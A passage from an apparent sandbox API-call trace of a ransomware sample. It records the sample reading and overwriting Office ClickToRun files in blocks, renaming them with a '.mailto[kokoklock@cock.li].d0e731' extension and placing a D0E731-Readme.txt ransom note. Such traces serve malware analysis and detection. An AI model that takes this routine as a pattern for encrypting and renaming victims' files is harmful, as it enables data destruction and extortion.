Seed=0x27bbfb90) returned 0xc90eed42 [0082.589] RtlRandom (in: Seed=0x27bbfb90 | out: Seed=0x27bbfb90) returned 0x244bebeb [0082.600] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f9b8) returned 1 [0082.600] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cb28) returned 1 [0082.600] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0082.600] SetFilePointerEx (in: hFile=0x660, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.600] ReadFile (in: hFile=0x660, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x27bbfb44, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x27bbfb44*=0x4096, lpOverlapped=0x0) returned 1 [0082.601] SetFilePointerEx (in: hFile=0x660, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.601] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd280 [0082.601] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347f940 [0082.601] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cb28 [0082.601] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cb28) returned 1 [0082.602] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0082.602] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cb28 [0082.602] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ccb8 [0082.602] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ccb8) returned 1 [0082.602] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f940) returned 1 [0082.602] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd280) returned 1 [0082.602] WriteFile (in: hFile=0x660, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x27bbfb44, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x27bbfb44*=0x4096, lpOverlapped=0x0) returned 1 [0082.602] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0082.602] SetFilePointerEx (in: hFile=0x660, liDistanceToMove=0x1c41a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.602] ReadFile (in: hFile=0x660, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x27bbfb44, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x27bbfb44*=0x4096, lpOverlapped=0x0) returned 1 [0082.606] SetFilePointerEx (in: hFile=0x660, liDistanceToMove=0x1c41a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.606] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd118 [0082.606] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347fc88 [0082.606] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ccb8 [0082.606] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ccb8) returned 1 [0082.606] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0082.606] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ccb8 [0082.606] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cce0 [0082.606] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cce0) returned 1 [0082.607] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fc88) returned 1 [0082.607] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd118) returned 1 [0082.607] WriteFile (in: hFile=0x660, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x27bbfb44, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x27bbfb44*=0x4096, lpOverlapped=0x0) returned 1 [0082.607] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0082.607] SetFilePointerEx (in: hFile=0x660, liDistanceToMove=0x380774, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.607] ReadFile (in: hFile=0x660, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x27bbfb44, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x27bbfb44*=0x4096, lpOverlapped=0x0) returned 1 [0082.622] SetFilePointerEx (in: hFile=0x660, liDistanceToMove=0x380774, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.622] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd508 [0082.622] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0082.622] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cce0 [0082.622] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cce0) returned 1 [0082.622] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b2420 [0082.622] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cce0 [0082.622] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cd30 [0082.622] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cd30) returned 1 [0082.622] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0082.623] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd508) returned 1 [0082.623] WriteFile (in: hFile=0x660, lpBuffer=0x34b2420*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x27bbfb44, lpOverlapped=0x0 | out: lpBuffer=0x34b2420*, lpNumberOfBytesWritten=0x27bbfb44*=0x4096, lpOverlapped=0x0) returned 1 [0082.623] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b2420) returned 1 [0082.623] WriteFile (in: hFile=0x660, lpBuffer=0x342cb28*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x27bbfba0, lpOverlapped=0x0 | out: lpBuffer=0x342cb28*, lpNumberOfBytesWritten=0x27bbfba0*=0x20, lpOverlapped=0x0) returned 1 [0082.624] WriteFile (in: hFile=0x660, lpBuffer=0x342ccb8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x27bbfba0, lpOverlapped=0x0 | out: lpBuffer=0x342ccb8*, lpNumberOfBytesWritten=0x27bbfba0*=0x20, lpOverlapped=0x0) returned 1 [0082.624] WriteFile (in: hFile=0x660, lpBuffer=0x342cce0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x27bbfba0, lpOverlapped=0x0 | out: lpBuffer=0x342cce0*, lpNumberOfBytesWritten=0x27bbfba0*=0x20, lpOverlapped=0x0) returned 1 [0082.624] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0082.624] WriteFile (in: hFile=0x660, lpBuffer=0x342cc68*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x27bbfba8, lpOverlapped=0x0 | out: lpBuffer=0x342cc68*, lpNumberOfBytesWritten=0x27bbfba8*=0x8, lpOverlapped=0x0) returned 1 [0082.624] WriteFile (in: hFile=0x660, lpBuffer=0x27bbfbc0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x27bbfba8, lpOverlapped=0x0 | out: lpBuffer=0x27bbfbc0*, lpNumberOfBytesWritten=0x27bbfba8*=0x4, lpOverlapped=0x0) returned 1 [0082.624] WriteFile (in: hFile=0x660, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x27bbfba8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x27bbfba8*=0x4, lpOverlapped=0x0) returned 1 [0082.624] WriteFile (in: hFile=0x660, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x27bbfba8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x27bbfba8*=0x6c, lpOverlapped=0x0) returned 1 [0082.624] WriteFile (in: hFile=0x660, lpBuffer=0x342ca88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x27bbfba8, lpOverlapped=0x0 | out: lpBuffer=0x342ca88*, lpNumberOfBytesWritten=0x27bbfba8*=0x20, lpOverlapped=0x0) returned 1 [0082.624] WriteFile (in: hFile=0x660, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x27bbfba8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x27bbfba8*=0x4, lpOverlapped=0x0) returned 1 [0082.624] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ca88) returned 1 [0082.625] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c8a8) returned 1 [0082.625] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cc68) returned 1 [0082.625] CloseHandle (hObject=0x660) returned 1 [0082.625] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x124) returned 0x33fcab8 [0082.625] wcscpy (in: _Dest=0x33fcab8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\stream.x64.x-none.man.dat" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\stream.x64.x-none.man.dat") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\stream.x64.x-none.man.dat" [0082.625] wcscat (in: _Dest=0x33fcab8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\stream.x64.x-none.man.dat.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\stream.x64.x-none.man.dat.mailto[kokoklock@cock.li].d0e731" [0082.625] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\stream.x64.x-none.man.dat" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\stream.x64.x-none.man.dat"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\stream.x64.x-none.man.dat.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\stream.x64.x-none.man.dat.mailto[kokoklock@cock.li].d0e731")) returned 1 [0082.626] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\stream.x64.x-none.man.dat.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0082.626] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcab8) returned 1 [0082.626] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\stream.x64.x-none.man.dat", dwFileAttributes=0x20) returned 0 [0082.626] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd4) returned 0x3494a58 [0082.626] wcscpy (in: _Dest=0x3494a58, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\" [0082.626] wcscat (in: _Dest=0x3494a58, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\D0E731-Readme.txt" [0082.626] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\d0e731-readme.txt")) returned 0x20 [0082.626] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3494a58) returned 1 [0082.626] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348ac98) returned 1 [0082.626] RtlExitUserThread (Status=0x1) Thread: id = 1118 os_tid = 0x1354 [0082.587] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\en-us.16\\masterdescriptor.en-us.xml")) returned 0x20 [0082.604] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\MasterDescriptor.en-us.xml", dwFileAttributes=0x20) returned 1 [0082.604] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\en-us.16\\masterdescriptor.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x668 [0082.604] GetFileSizeEx (in: hFile=0x668, lpFileSize=0x27c3f8c4 | out: lpFileSize=0x27c3f8c4*=22095) returned 1 [0082.604] SetFilePointerEx (in: hFile=0x668, liDistanceToMove=0x564b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.604] ReadFile (in: hFile=0x668, lpBuffer=0x27c3f898, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x27c3f894, lpOverlapped=0x0 | out: lpBuffer=0x27c3f898*, lpNumberOfBytesRead=0x27c3f894*=0x4, lpOverlapped=0x0) returned 1 [0082.607] SetFilePointerEx (in: hFile=0x668, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.607] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cce0 [0082.607] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c808 [0082.607] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c830 [0082.608] NtQuerySystemTime (in: CurrentTime=0x27c3f870 | out: CurrentTime=0x27c3f870*=132121176405078897) returned 0x0 [0082.608] RtlRandom (in: Seed=0x27c3f87c | out: Seed=0x27c3f87c) returned 0x7e300bdc [0082.608] RtlRandom (in: Seed=0x27c3f87c | out: Seed=0x27c3f87c) returned 0xe3093693 [0082.608] RtlRandom (in: Seed=0x27c3f87c | out: Seed=0x27c3f87c) returned 0xd988dff8 [0082.608] RtlRandom (in: Seed=0x27c3f87c | out: Seed=0x27c3f87c) returned 0x18e1ae23 [0082.608] RtlRandom (in: Seed=0x27c3f87c | out: Seed=0x27c3f87c) returned 0xdc84ad71 [0082.608] RtlRandom (in: Seed=0x27c3f87c | out: Seed=0x27c3f87c) returned 0x2d7983bb [0082.608] RtlRandom (in: Seed=0x27c3f87c | out: Seed=0x27c3f87c) returned 0x3b73df56 [0082.608] RtlRandom (in: Seed=0x27c3f87c | out: Seed=0x27c3f87c) returned 0x833d8472 [0082.608] RtlRandom (in: Seed=0x27c3f87c | out: Seed=0x27c3f87c) returned 0x47a92683 [0082.608] RtlRandom (in: Seed=0x27c3f87c | out: Seed=0x27c3f87c) returned 0x78192a26 [0082.608] RtlRandom (in: Seed=0x27c3f87c | out: Seed=0x27c3f87c) returned 0x5d4def6e [0082.608] RtlRandom (in: Seed=0x27c3f87c | out: Seed=0x27c3f87c) returned 0xd6c3561e [0082.608] RtlRandom (in: Seed=0x27c3f87c | out: Seed=0x27c3f87c) returned 0xed5325cb [0082.608] RtlRandom (in: Seed=0x27c3f87c | out: Seed=0x27c3f87c) returned 0xb159d7d7 [0082.608] RtlRandom (in: Seed=0x27c3f87c | out: Seed=0x27c3f87c) returned 0xf52b9350 [0082.608] RtlRandom (in: Seed=0x27c3f87c | out: Seed=0x27c3f87c) returned 0x27250458 [0082.608] RtlRandom (in: Seed=0x27c3f87c | out: Seed=0x27c3f87c) returned 0x10488e5d [0082.608] RtlRandom (in: Seed=0x27c3f87c | out: Seed=0x27c3f87c) returned 0x66d00bfd [0082.608] RtlRandom (in: Seed=0x27c3f87c | out: Seed=0x27c3f87c) returned 0xd93c12b5 [0082.608] RtlRandom (in: Seed=0x27c3f87c | out: Seed=0x27c3f87c) returned 0xda900f3e [0082.608] RtlRandom (in: Seed=0x27c3f87c | out: Seed=0x27c3f87c) returned 0xb09b12e0 [0082.608] RtlRandom (in: Seed=0x27c3f87c | out: Seed=0x27c3f87c) returned 0x7c03f362 [0082.608] RtlRandom (in: Seed=0x27c3f87c | out: Seed=0x27c3f87c) returned 0x38a7cfa0 [0082.608] RtlRandom (in: Seed=0x27c3f87c | out: Seed=0x27c3f87c) returned 0x63c15eda [0082.608] RtlRandom (in: Seed=0x27c3f87c | out: Seed=0x27c3f87c) returned 0xb367e9db [0082.608] RtlRandom (in: Seed=0x27c3f87c | out: Seed=0x27c3f87c) returned 0x598fe19b [0082.608] RtlRandom (in: Seed=0x27c3f87c | out: Seed=0x27c3f87c) returned 0xf11075c1 [0082.608] RtlRandom (in: Seed=0x27c3f87c | out: Seed=0x27c3f87c) returned 0xe8ac2254 [0082.609] RtlRandom (in: Seed=0x27c3f87c | out: Seed=0x27c3f87c) returned 0x24d9e7c0 [0082.609] RtlRandom (in: Seed=0x27c3f87c | out: Seed=0x27c3f87c) returned 0xc1313b51 [0082.609] RtlRandom (in: Seed=0x27c3f87c | out: Seed=0x27c3f87c) returned 0x855d8bdc [0082.609] RtlRandom (in: Seed=0x27c3f87c | out: Seed=0x27c3f87c) returned 0x9f588c25 [0082.620] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f9b8) returned 1 [0082.620] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cce0) returned 1 [0082.620] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0082.620] SetFilePointerEx (in: hFile=0x668, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.620] ReadFile (in: hFile=0x668, lpBuffer=0x34ae380, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x27c3f848, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesRead=0x27c3f848*=0x4096, lpOverlapped=0x0) returned 1 [0082.627] SetFilePointerEx (in: hFile=0x668, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.627] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd280 [0082.627] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347f940 [0082.627] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ca88 [0082.627] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ca88) returned 1 [0082.628] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0082.628] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c8a8 [0082.628] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cc68 [0082.628] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cc68) returned 1 [0082.628] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f940) returned 1 [0082.628] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd280) returned 1 [0082.628] WriteFile (in: hFile=0x668, lpBuffer=0x349e2d0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x27c3f848, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesWritten=0x27c3f848*=0x4096, lpOverlapped=0x0) returned 1 [0082.628] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0082.628] SetFilePointerEx (in: hFile=0x668, liDistanceToMove=0x564f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.628] WriteFile (in: hFile=0x668, lpBuffer=0x342c8a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x27c3f880, lpOverlapped=0x0 | out: lpBuffer=0x342c8a8*, lpNumberOfBytesWritten=0x27c3f880*=0x20, lpOverlapped=0x0) returned 1 [0082.628] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c8a8) returned 1 [0082.629] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0082.629] WriteFile (in: hFile=0x668, lpBuffer=0x342ce20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x27c3f894, lpOverlapped=0x0 | out: lpBuffer=0x342ce20*, lpNumberOfBytesWritten=0x27c3f894*=0x8, lpOverlapped=0x0) returned 1 [0082.629] WriteFile (in: hFile=0x668, lpBuffer=0x27c3f8ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x27c3f894, lpOverlapped=0x0 | out: lpBuffer=0x27c3f8ac*, lpNumberOfBytesWritten=0x27c3f894*=0x4, lpOverlapped=0x0) returned 1 [0082.629] WriteFile (in: hFile=0x668, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x27c3f894, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x27c3f894*=0x4, lpOverlapped=0x0) returned 1 [0082.629] WriteFile (in: hFile=0x668, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x27c3f894, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x27c3f894*=0x6c, lpOverlapped=0x0) returned 1 [0082.629] WriteFile (in: hFile=0x668, lpBuffer=0x342c808*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x27c3f894, lpOverlapped=0x0 | out: lpBuffer=0x342c808*, lpNumberOfBytesWritten=0x27c3f894*=0x20, lpOverlapped=0x0) returned 1 [0082.629] WriteFile (in: hFile=0x668, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x27c3f894, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x27c3f894*=0x4, lpOverlapped=0x0) returned 1 [0082.629] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c808) returned 1 [0082.629] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cda8) returned 1 [0082.629] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ce20) returned 1 [0082.629] CloseHandle (hObject=0x668) returned 1 [0082.629] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x124) returned 0x33fcab8 [0082.629] wcscpy (in: _Dest=0x33fcab8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\MasterDescriptor.en-us.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\MasterDescriptor.en-us.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\MasterDescriptor.en-us.xml" [0082.629] wcscat (in: _Dest=0x33fcab8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\MasterDescriptor.en-us.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\MasterDescriptor.en-us.xml.mailto[kokoklock@cock.li].d0e731" [0082.629] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\en-us.16\\masterdescriptor.en-us.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\MasterDescriptor.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\en-us.16\\masterdescriptor.en-us.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0082.630] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\MasterDescriptor.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0082.630] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcab8) returned 1 [0082.630] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\MasterDescriptor.en-us.xml", dwFileAttributes=0x20) returned 0 [0082.631] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd2) returned 0x3493e18 [0082.631] wcscpy (in: _Dest=0x3493e18, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\" [0082.631] wcscat (in: _Dest=0x3493e18, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\D0E731-Readme.txt") returned="C:\\Users\\All 